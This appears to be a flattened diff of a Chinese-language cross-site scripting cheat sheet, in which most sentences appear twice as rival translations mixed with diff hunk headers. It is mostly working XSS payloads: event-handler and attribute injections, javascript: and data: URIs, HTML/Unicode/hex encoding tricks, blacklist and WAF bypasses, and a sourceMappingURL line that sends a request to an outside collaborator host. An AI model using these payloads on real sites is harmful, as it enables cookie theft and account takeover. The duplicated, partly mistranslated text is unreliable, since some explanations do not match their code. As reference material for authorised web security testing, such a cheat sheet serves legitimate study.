![来自 https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg) ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg)
## 在原始 HTML 中注入 ## 在原始HTML中注入
当您的输入反映在**HTML 页面内部**或者您可以逃脱并在此上下文中注入 HTML 代码时,您需要做的**第一件事**是检查是否可以滥用 `<` 来创建新标签:只需尝试**反映**该**字符**并检查它是否被**HTML 编码**或**删除**,或者是否**未经更改地反映**。**只有在最后一种情况下,您才能利用这种情况**。\ 当您的输入被反映在**HTML页面内**或者您可以转义并在此上下文中注入HTML代码时**第一**件事是检查您是否可以滥用`<`来创建新标签:只需尝试**反映**该**字符**并检查它是否被**HTML编码**或**删除**,或者是否**未经更改地反映**。**只有在最后一种情况下,您才能利用这种情况**。\
对于这些情况,还要**记住**[**客户端模板注入**](../client-side-template-injection-csti.md)**。**\ 对于这些情况,还要**记住**[**客户端模板注入**](../client-side-template-injection-csti.md)**。**\
_**注意HTML 注释可以使用**_ `-->` _**或**_ `--!>` _**关闭**_ _**注意HTML注释可以使用\*\*\*\***** ****`-->`**** ****或 \*\*\*\*****`--!>`**_
在这种情况下,如果没有使用黑名单/白名单,您可以使用像这样的有效载荷 在这种情况下,如果没有使用黑名单/白名单,您可以使用如下有效负载
```javascript ```javascript
<script>alert(1)</script> <script>alert(1)</script>
<img src=x onerror=alert(1) /> <img src=x onerror=alert(1) />
<svg onload=alert('XSS')> <svg onload=alert('XSS')>
``` ```
### 标签/事件暴力破解 但是,如果使用了标签/属性的黑名单/白名单,您将需要**暴力破解可以创建的标签**。\
一旦您**找到了允许的标签**,您将需要**暴力破解找到的有效标签内的属性/事件**,以查看如何攻击上下文。
访问 [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) 并点击 _**复制标签到剪贴板**_。然后,使用 Burp Intruder 发送所有标签,并检查是否有任何标签没有被 WAF 识别为恶意的。一旦你发现了可以使用的标签,你可以**对所有事件进行暴力破解**,使用有效的标签(在同一网页上点击 _**复制事件到剪贴板**_ 并遵循之前相同的步骤)。 ### 标签/事件的暴力破解
前往[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)并单击_**将标签复制到剪贴板**_。然后使用Burp Intruder发送所有标签并检查WAF是否未将任何标签识别为恶意。一旦您发现可以使用哪些标签您可以**暴力破解所有事件**使用有效标签在同一网页中单击_**将事件复制到剪贴板**_然后按照之前的相同步骤操作
### 自定义标签 ### 自定义标签
如果你没有找到任何有效的 HTML 标签,你可以尝试**创建一个自定义标签**并使用 `onfocus` 属性执行 JS 代码。在 XSS 请求中,你需要在 URL 结尾加上 `#`,以使页面**聚焦于该对象**并**执行**代码: 如果您没有找到任何有效的HTML标签您可以尝试**创建自定义标签**并使用`onfocus`属性执行JS代码。在XSS请求中您需要以`#`结束URL使页面**聚焦在该对象上**并**执行**代码:
``` ```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
``` ```
### 黑名单绕过 ### 黑名单绕过
如果使用了某种黑名单,您可以尝试使用一些简单的技巧来绕过它: 如果使用了某种黑名单,您可以尝试使用一些愚蠢的技巧来绕过它:
```javascript ```javascript
//Random capitalization //Random capitalization
<script> --> <ScrIpT> <script> --> <ScrIpT>
@ -221,10 +224,10 @@ onerror=alert`1`
//Use more than one //Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` // <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
``` ```
### 长度绕过(小型 XSS ### 长度绕过小型XSS
{% hint style="info" %} {% hint style="info" %}
**更多适用于不同环境的小型 XSS** 载荷 [**可以在这里找到**](https://github.com/terjanq/Tiny-XSS-Payloads) 和 [**这里**](https://tinyxss.terjanq.me)。 **更多针对不同环境的微型XSS** 负载[**可以在这里找到**](https://github.com/terjanq/Tiny-XSS-Payloads) 和 [**这里**](https://tinyxss.terjanq.me)。
{% endhint %} {% endhint %}
```html ```html
<!-- Taken from the blog of Jorge Lajara --> <!-- Taken from the blog of Jorge Lajara -->
@ -232,29 +235,31 @@ onerror=alert`1`
<script src=//aa.es> <script src=//aa.es>
<script src=//℡㏛.pw> <script src=//℡㏛.pw>
``` ```
最后一个使用2个Unicode字符扩展为5个telsr\ 最后一个使用2个Unicode字符扩展为5个telsr\
更多这样的字符可以在[这里](https://www.unicode.org/charts/normalization/)找到。\ 更多这字符可以在[这里](https://www.unicode.org/charts/normalization/)找到。\
要检查哪些字符被分解,请查看[这里](https://www.compart.com/en/unicode/U+2121)。 要检查哪些字符被分解,请查看[这里](https://www.compart.com/en/unicode/U+2121)。
### 点击 XSS - 点击劫持 ### 点击XSS - 点击劫持
如果要利用漏洞,您需要**用户点击链接或带有预填充数据的表单**,您可以尝试[**滥用点击劫持**](../clickjacking.md#xss-clickjacking)(如果页面容易受到此类攻击)。 如果为了利用漏洞,您需要**用户点击一个带有预填数据的链接或表单**,您可以尝试[**滥用点击劫持**](../clickjacking.md#xss-clickjacking)(如果页面存在漏洞)。
### 不可能 - 悬标记 ### 不可能 - 悬标记
如果您认为**不可能创建带有属性的HTML标签来执行JS代码**,您应该查看[**悬空标记**](../dangling-markup-html-scriptless-injection/),因为您可以**利用**漏洞**而不**执行**JS**代码。 如果您认为**不可能创建一个带有执行JS代码属性的HTML标记**,您应该检查[**悬挂标记**](../dangling-markup-html-scriptless-injection/),因为您可以**利用**漏洞而**无需**执行**JS**代码。
## 注入HTML标签内部 ## 在HTML标记内注入
### 在标内部/从属性值中逃逸 ### 在标内部/从属性值中逃逸
如果您处于**HTML标签内部**,您首先可以尝试的是**逃离**标签,并使用[上一节](./#injecting-inside-raw-html)中提到的技术来执行JS代码。\ 如果您在**HTML标记内部**,您可以尝试首先**从标记中逃逸**,并使用[前一节](./#injecting-inside-raw-html)中提到的一些技术来执行JS代码。\
如果您**无法从标签中逃离**您可以在标签内部创建新属性来尝试执行JS代码例如使用以下有效载荷_请注意在此示例中使用双引号从属性中逃离如果您的输入直接反映在标签内部则不需要它们_ 如果您**无法从标记中逃逸**您可以在标记内创建新属性尝试执行JS代码例如使用一些有效载荷_请注意在此示例中双引号用于从属性中逃逸如果您的输入直接反映在标记内则不需要它们_
```bash ```bash
" autofocus onfocus=alert(document.domain) x=" " autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
``` ```
**样式事件** **样式事件**
在XSS攻击中可以利用样式事件来执行恶意脚本。例如可以通过`<img>`标签的`onerror`事件来触发恶意脚本。
```python ```python
<p style="animation: x;" onanimationstart="alert()">XSS</p> <p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p> <p style="animation: x;" onanimationend="alert()">XSS</p>
@ -264,16 +269,16 @@ onerror=alert`1`
#moving your mouse anywhere over the page (0-click-ish): #moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div> <div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
``` ```
### 在属性 ### 在属性
即使您**无法从属性中逃脱**`"` 被编码或删除),根据**哪个属性**反映您的值,**您是否控制所有值或只是部分**,您将能够滥用它。例如,如果您控制像 `onclick=` 这样的事件,您将能够使其在点击时执行任意代码。\ 即使你**无法从属性中逃脱**`"`被编码或删除),取决于**在哪个属性**中反映您的值,**您是否控制所有值或只是部分**,您将能够滥用它。例如,如果您控制像`onclick=`这样的事件,您将能够使其在点击时执行任意代码。\
另一个有趣的**例子**是属性 `href`,您可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`** 另一个有趣的例子是属性`href`,您可以使用`javascript:`协议来执行任意代码:**`href="javascript:alert(1)"`**
**使用 HTML 编码/URL 编码绕过事件内** **在事件内部使用HTML编码/URL编码绕过**
HTML 标签属性值内的**HTML 编码字符**在运行时会被**解码**。因此,像下面这样的内容将是有效的(加粗的部分是有效载荷`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">返回</a>` HTML标签属性值中的**HTML编码字符**在运行时会被**解码**。因此类似以下内容将是有效的payload以粗体显示`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
请注意**任何类型的 HTML 编码都是有效的** 请注意**任何类型的HTML编码都是有效的**
```javascript ```javascript
//HTML entities //HTML entities
&apos;-alert(1)-&apos; &apos;-alert(1)-&apos;
@ -290,19 +295,19 @@ HTML 标签属性值内的**HTML 编码字符**在运行时会被**解码**。
<a href="&#106;avascript:alert(2)">a</a> <a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a> <a href="jav&#x61script:alert(3)">a</a>
``` ```
**请注意URL编码也同样有效** **请注意URL 编码也可以起作用**
```python ```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a> <a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
``` ```
**利用Unicode编码绕过事件内部** **使用Unicode编码绕过内部事件**
```javascript ```javascript
//For some reason you can use unicode to encode "alert" but not "(1)" //For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) /> <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) /> <img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
``` ```
### 特殊协议在属性中的应用 ### 在属性中使用特殊协议
在某些地方,您可以使用协议 **`javascript:`** 或 **`data:`** 来**执行任意JS代码**。有些可能需要用户交互,有些则不需要。 在某些地方,您可以使用协议**`javascript:`**或**`data:`**来**执行任意的JS代码**。有些情况下需要用户交互,有些则不需要。
```javascript ```javascript
javascript:alert(1) javascript:alert(1)
JavaSCript:alert(1) JavaSCript:alert(1)
@ -324,7 +329,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
``` ```
**可以注入这些协议的位置** **可以注入这些协议的位置**
**一般来说**`javascript:` 协议可以**用于任何接受 `href` 属性的标签**,以及**大多数**接受**属性 `src`** 的标签(但 `<img` 除外 **一般来说**`javascript:` 协议可以**用在任何接受属性 `href`** 的标签中,并且在**大多数**接受属性 `src` 的标签中也可以使用(但不包括 `<img`
```markup ```markup
<a href="javascript:alert(1)"> <a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="> <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -346,21 +351,21 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
``` ```
**其他混淆技巧** **其他混淆技巧**
_**在这种情况下前一节中的HTML编码和Unicode编码技巧也同样适用,因为你处于属性内部。**_ _**在这种情况下前一节中的HTML编码和Unicode编码技巧同样有效,因为您在属性内部。**_
```javascript ```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'"> <a href="javascript:var a='&apos;-alert(1)-&apos;'">
``` ```
此外,还有另一个**巧妙的技巧**适用于这些情况**即使你在`javascript:...`中的输入被URL编码,在执行前它也会被URL解码。** 因此,如果你需要使用**单引号**来从**字符串**中**逃逸**,而你看到它**被URL编码了**,记住这**没关系**,在**执行**时它会被**解释**为**单引号**。 此外,针对这些情况还有另一个**不错的技巧****即使你在`javascript:...`中的输入被URL编码在执行前会被URL解码。** 因此,如果你需要使用**单引号**来**逃逸**字符串,并且发现**它被URL编码**,请记住**这并不重要**,在**执行**时它将被解释为**单引号**。
```javascript ```javascript
&apos;-alert(1)-&apos; &apos;-alert(1)-&apos;
%27-alert(1)-%27 %27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe> <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
``` ```
请注意,如果您尝试**同时使用** `URLencode + HTMLencode` 以任何顺序对**有效载荷**进行编码,它**不会**起作用,但您可以**在有效载荷内部混合使用它们**。 请注意,如果您尝试以任何顺序使用`URLencode + HTMLencode`来编码**payload**,它**不会**起作用,但您可以在**payload**中**混合使用它们**。
**使用十六进制和八进制编码与 `javascript:`** **使用`javascript:`和十六进制和八进制编码**
您可以在 `iframe` `src` 属性中使用**十六进制**和**八进制编码**来声明**执行 JS 的 HTML 标签** 您可以在`iframe`的`src`属性中(至少)使用**十六进制**和**八进制编码**来声明执行JS的**HTML标签**
```javascript ```javascript
//Encoded: <svg onload=alert(1)> //Encoded: <svg onload=alert(1)>
// This WORKS // This WORKS
@ -372,20 +377,20 @@ _**在这种情况下前一节中的HTML编码和Unicode编码技巧也同样
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' /> <svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' /> <svg onload=javascript:'\141\154\145\162\164\50\61\51' />
``` ```
### 反向标签劫持 ### 反向标签窃取
```javascript ```javascript
<a target="_blank" rel="opener" <a target="_blank" rel="opener"
``` ```
如果您能够在包含 **`target="_blank" and rel="opener"`** 属性的任意 **`<a href=`** 标签中注入任何URL请检查**以下页面以利用此行为** 如果您可以在包含**`target="_blank"`**和**`rel="opener"`**属性的任意**`<a href=`**标签中注入任何URL请检查**以下页面以利用此行为**
{% content-ref url="../reverse-tab-nabbing.md" %} {% content-ref url="../reverse-tab-nabbing.md" %}
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md) [reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
{% endcontent-ref %} {% endcontent-ref %}
### on 事件处理程序绕过 ### on Event Handlers Bypass
首先,查看此页面([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))以获取有用的**"on" 事件处理程序**。\ 首先检查此页面([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))以获取有用的**"on"事件处理程序**。\
如果有黑名单阻止您创建这些事件处理程序,您可以尝试以下绕过方法: 如果有一些黑名单阻止您创建这些事件处理程序,您可以尝试以下绕过方法:
```javascript ```javascript
<svg onload%09=alert(1)> //No safari <svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)> <svg %09onload=alert(1)>
@ -400,14 +405,14 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B Android: %09 %20 %28 %2C %3B
``` ```
### XSS 在“不可利用标签”中(隐藏输入、链接、规范、元标签 ### 在“无法利用的标签”中的 XSS隐藏输入、链接、规范、元标记
从[**这里**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以滥用隐藏输入字段** 从[**这里**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以滥用隐藏输入:**
```html ```html
<button popvertarget="x">Click me</button> <button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)> <input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
``` ```
在**元标签**中: 在**元标签**中:
```html ```html
<!-- Injection inside meta attribute--> <!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) /> <meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
@ -415,37 +420,37 @@ Android: %09 %20 %28 %2C %3B
<button popovertarget="newsletter">Subscribe to newsletter</button> <button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div> <div popover id="newsletter">Newsletter popup</div>
``` ```
从[**这里**](https://portswigger.net/research/xss-in-hidden-input-fields):您可以在隐藏属性中执行**XSS载荷**,前提是您能**说服**受害者按下**键组合**。在Firefox Windows/Linux上键组合是**ALT+SHIFT+X**在OS X上是**CTRL+ALT+X**。您可以使用access key属性中的不同键指定不同的键组合。这是向量: 从[**这里**](https://portswigger.net/research/xss-in-hidden-input-fields):您可以在隐藏属性中执行**XSS有效负载**,只要您能**说服** **受害者**按下**键组合**。在Firefox Windows/Linux上键组合是**ALT+SHIFT+X**在OS X上是**CTRL+ALT+X**。您可以使用访问键属性中的不同键指定不同的键组合。以下是向量:
```markup ```markup
<input type="hidden" accesskey="X" onclick="alert(1)"> <input type="hidden" accesskey="X" onclick="alert(1)">
``` ```
**XSS payload 将类似于`" accesskey="x" onclick="alert(1)" x="`** **XSS负载将类似于这样`" accesskey="x" onclick="alert(1)" x="`**
### 黑名单绕过 ### 黑名单绕过
本节内已经揭示了使用不同编码的多种技巧。返回**学习何时可以使用:** 在本节中已经揭示了使用不同编码的几种技巧。回到学习以下内容:
* **HTML 编码HTML 标签** * **HTML编码HTML标记**
* **Unicode 编码(可以是有效的 JS 代码):** `\u0061lert(1)` * **Unicode编码可以是有效的JS代码** `\u0061lert(1)`
* **URL 编码** * **URL编码**
* **十六进制和八进制编码** * **十六进制和八进制编码**
* **数据编码** * **数据编码**
**绕过 HTML 标签和属性** **HTML标记和属性的绕过**
阅读[上一节的黑名单绕过](./#blacklist-bypasses)。 阅读[上一节的黑名单绕过](./#blacklist-bypasses)。
**绕过 JavaScript 代码** **JavaScript代码的绕过**
阅读[下一节的 JavaScript 绕过黑名单技术](./#javascript-bypass-blacklists-techniques)。 阅读下一节的[JavaScript绕过黑名单技术](./#javascript-bypass-blacklists-techniques)。
### CSS-小工具 ### CSS小工具
如果你在网页的**非常小的部分发现 XSS**,需要某种交互(可能是页脚中的一个小链接,带有 onmouseover 元素),你可以尝试**修改该元素占用的空间**,以最大化触发链接的概率 如果在网页的一个非常小的部分中发现了**XSS漏洞**需要某种交互也许是页脚中的一个小链接带有onmouseover元素您可以尝试**修改该元素占用的空间**,以最大化链接被触发的可能性
例如,可以在元素中添加一些样式,如:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` 例如,可以在元素中添加一些样式,如:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
但是,如果 WAF 正在过滤 style 属性,你可以使用 CSS 样式小工具,所以如果你发现,例如 但是,如果WAF正在过滤样式属性您可以使用CSS样式小工具因此如果您发现,例如
> .test {display:block; color: blue; width: 100%\} > .test {display:block; color: blue; width: 100%\}
@ -453,38 +458,38 @@ Android: %09 %20 %28 %2C %3B
> \#someid {top: 0; font-family: Tahoma;} > \#someid {top: 0; font-family: Tahoma;}
现在你可以修改我们的链接并将其形式变为 现在您可以修改我们的链接,将其带到以下形式
> \<a href=”” id=someid class=test onclick=alert() a=””> > \<a href="" id=someid class=test onclick=alert() a="">
这个技巧取自 [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) 这个技巧来自[https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
## 注入 JavaScript 代码内 ## 在JavaScript代码中注入
在这些情况下,你的**输入**将会**反映在 `.js` 文件的 JS 代码内**,或者在 `<script>...</script>` 标签之间,或者在可以执行 JS 代码的 HTML 事件之间,或者在接受 `javascript:` 协议的属性之间。 在这些情况下,您的**输入**将被**反射到`.js`文件的JS代码中**,或者在`<script>...</script>`标记之间或者在可以执行JS代码的HTML事件之间或者在接受`javascript:`协议的属性之间。
### 逃逸 \<script> 标签 ### 转义\<script>标记
如果你的代码插入在 `<script> [...] var input = 'reflected data' [...] </script>` 中,你可以轻松地**逃逸关闭 `<script>`** 标签: 如果您的代码插入在`<script> [...] var input = 'reflected data' [...] </script>`中,您可以轻松地**转义关闭`<script>`**
```javascript ```javascript
</script><img src=1 onerror=alert(document.domain)> </script><img src=1 onerror=alert(document.domain)>
``` ```
请注意,在这个例子中,我们**甚至没有关闭单引号**,但这不是必需的,因为**浏览器首先执行HTML解析**以识别页面元素包括脚本块然后再执行JavaScript解析以理解和执行嵌入的脚本。 请注意,在这个例子中,我们甚至**没有关闭单引号**,但这并不是必要的,因为**浏览器首先执行 HTML 解析**来识别页面元素,包括脚本块,然后才执行 JavaScript 解析来理解和执行嵌入的脚本。
### 在JS代码内部 ### 在JS代码内部
如果`<>`正在被清理,您仍然可以**逃离字符串**,在您的输入被**定位**的地方,并且**执行任意JS**。重要的是要**修复JS语法**因为如果有任何错误JS代码将不会被执行 如果`<>`被消毒,您仍然可以**转义字符串**,在您的输入**位置**执行任意JS。重要的是**修复JS语法**因为如果有任何错误JS代码将不会被执行
``` ```
'-alert(document.domain)-' '-alert(document.domain)-'
';alert(document.domain)// ';alert(document.domain)//
\';alert(document.domain)// \';alert(document.domain)//
``` ```
### 模板字面量 \`\` ### 模板字 \`\`
为了构建**字符串**除了单引号和双引号外JS接受**反引号** **` `` `**。这被称为模板字面量,因为它们允许使用`${ ... }`语法**嵌入JS表达式**。\ 为了构建**字符串**除了单引号和双引号外JS接受**反引号** **` `` `**。这被称为模板字,因为它们允许使用`${ ... }`语法**嵌入JS表达式**。\
因此,如果你发现你的输入在使用反引号的JS字符串中被**反射**,你可以利用`${ ... }`语法执行**任意JS代码** 因此,如果您发现您的输入被**反射**到使用反引号的JS字符串中您可以滥用`${ ... }`语法来执行**任意JS代码**
这可以通过以下方式**滥用** 这可以通过以下方式**滥用**
```javascript ```javascript
`${alert(1)}` `${alert(1)}`
`${`${`${`${alert(1)}`}`}`}` `${`${`${`${alert(1)}`}`}`}`
@ -502,13 +507,13 @@ loop``````````````
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg> <!-- The svg tags are neccesary <svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>"> <iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
``` ```
### Unicode 编码 JS 执行 ### Unicode编码JS执行
```javascript ```javascript
\u{61}lert(1) \u{61}lert(1)
\u0061lert(1) \u0061lert(1)
\u{0061}lert(1) \u{0061}lert(1)
``` ```
### JavaScript 绕过黑名单技术 ### JavaScript绕过黑名单技术
**字符串** **字符串**
```javascript ```javascript
@ -541,7 +546,7 @@ eval(8680439..toString(30))(983801..toString(36))
'\t' //tab '\t' //tab
// Any other char escaped is just itself // Any other char escaped is just itself
``` ```
**在JS代码内的空格替换** **JS代码中的空格替换**
```javascript ```javascript
<TAB> <TAB>
/**/ /**/
@ -554,7 +559,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line #!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line -->This is a 1 line comment, but "-->" must to be at the beggining of the first line
``` ```
**JavaScript 新行(来自** [**JavaScript 新行**](./#javascript-new-lines) **技巧)** **JavaScript换行(来自** [**JavaScript换行**](./#javascript-new-lines) **技巧)**
```javascript ```javascript
//Javascript interpret as new line these chars: //Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a String.fromCharCode(10); alert('//\nalert(1)') //0x0a
@ -562,7 +567,7 @@ String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8 String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9 String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
``` ```
**JavaScript 空白字符** **JavaScript空格**
```javascript ```javascript
log=[]; log=[];
function funct(){} function funct(){}
@ -579,14 +584,16 @@ console.log(log)
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes: //Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)> <img/src/onerror=alert&#65279;(1)>
``` ```
**评论中的Javascript** **注释中的Javascript**
JavaScript可以通过在HTML注释中插入恶意代码来执行跨站脚本攻击。
```javascript ```javascript
//If you can only inject inside a JS comment, you can still leak something //If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send //If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
``` ```
**不带括号的JavaScript** **没有括号的JavaScript**
````javascript ````javascript
// By setting location // By setting location
window.location='javascript:alert\x281\x29' window.location='javascript:alert\x281\x29'
@ -664,7 +671,7 @@ try{throw onerror=alert}catch{throw 1}
* [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) * [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
* [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) * [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
**任意函数alert调用** **调用任意函数alert**
````javascript ````javascript
//Eval like functions //Eval like functions
eval('ale'+'rt(1)') eval('ale'+'rt(1)')
@ -726,42 +733,42 @@ top[8680439..toString(30)](1)
```` ````
## **DOM漏洞** ## **DOM漏洞**
存在使用**攻击者控制的不安全数据**的**JS代码**,如 `location.href`。攻击者可以利用这一点执行任意JS代码。\ 存在使用由攻击者控制的不安全数据的**JS代码**,如`location.href`。攻击者可以利用这一点执行任意JS代码。\
**由于对**[**DOM漏洞的解释很详细,因此已移至此页面**](dom-xss.md)**** **由于对**[**DOM漏洞的解释进行了扩展,已将其移至此页面**](dom-xss.md)****
{% content-ref url="dom-xss.md" %} {% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md) [dom-xss.md](dom-xss.md)
{% endcontent-ref %} {% endcontent-ref %}
在那里,你将找到关于**DOM漏洞是什么它们是如何被引发的以及如何利用它们**的详细**解释**。\ 在那里,您将找到关于DOM漏洞是什么它们是如何引发的以及如何利用它们的详细解释。\
同时,不要忘记,在提到的文章**末尾**,你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。 此外,不要忘记**在上述帖子的末尾**找到关于[**DOM篡改攻击**](dom-xss.md#dom-clobbering)的解释。
## 其他绕过方 ## 其他绕过方
### 标准化Unicode ### 规范化Unicode
你可以检查**反射值**是否在服务器端(或客户端)被**Unicode标准化**,并利用这一功能绕过保护。[**在这里找到一个例子**](../unicode-injection/#xss-cross-site-scripting)。 您可以检查**反射值**是否在服务器(或客户端)中**进行了Unicode规范化**,并利用此功能绕过保护措施。[**在此处找到一个示例**](../unicode-injection/#xss-cross-site-scripting)。
### PHP FILTER\_VALIDATE\_EMAIL 标志绕过 ### PHP FILTER\_VALIDATE\_EMAIL标志绕过
```javascript ```javascript
"><svg/onload=confirm(1)>"@x.y "><svg/onload=confirm(1)>"@x.y
``` ```
### Ruby-On-Rails 绕过 ### Ruby-On-Rails绕过
由于 **RoR 批量赋值**引号被插入到HTML中然后绕过引号限制并且可以在标签内添加额外字段onfocus。\ 由于**RoR大量分配**引号被插入HTML然后绕过引号限制可以在标签内添加额外字段onfocus。\
例如表单([来自此报告](https://hackerone.com/reports/709336)),如果你发送以下payload 表单示例[来自此报告](https://hackerone.com/reports/709336)),如果发送有效载荷
``` ```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
``` ```
键值对 "Key","Value" 将会像这样回显 键值对 "Key","Value" 将会被回显如下
``` ```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"} {" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
``` ```
然后,将插入 onfocus 属性: 然后将插入onfocus属性
![](<../../.gitbook/assets/image (107).png>) ![](<../../.gitbook/assets/image (107).png>)
发生 XSS。 发生XSS攻击
### 特殊组合 ### 特殊组合
```markup ```markup
@ -793,24 +800,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3) document['default'+'View'][`\u0061lert`](3)
``` ```
